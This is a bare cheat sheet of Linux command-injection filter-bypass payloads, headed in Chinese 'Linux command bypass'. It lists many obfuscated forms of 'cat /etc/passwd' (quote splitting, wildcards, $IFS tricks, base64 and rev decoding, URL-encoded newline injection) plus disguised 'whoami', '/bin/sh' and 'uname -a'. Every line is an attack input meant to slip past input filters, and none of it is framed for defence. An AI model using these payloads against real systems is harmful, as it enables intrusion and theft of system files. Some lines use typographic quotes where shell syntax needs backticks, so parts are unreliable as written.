cat /etc/passwd
cat /e"t"c/pa"s"swd
cat /‘e‘tc/pass‘wd‘
cat /etc/pa??wd
cat /etc/p*wd
cat /et‘‘c/pass‘‘wd
cat /et${test}c/pa${hah}sswd
IFS=,;`cat<<<cat,/etc/passwd`
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
X=$‘cat\x20/etc/passwd‘&&$X
*echo "dwssap/cte/ tac" | rev
xyz%0Acat%20/etc/passwd
/???/??t /???/p??s??
$(echo Y2F0IC9ldGMvcGFzc3dk== | base64 -d)

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

w\ho\am\i
/\b\i\n/////s\h
IFS=,;`cat<<<uname,-a`

linux命令绕过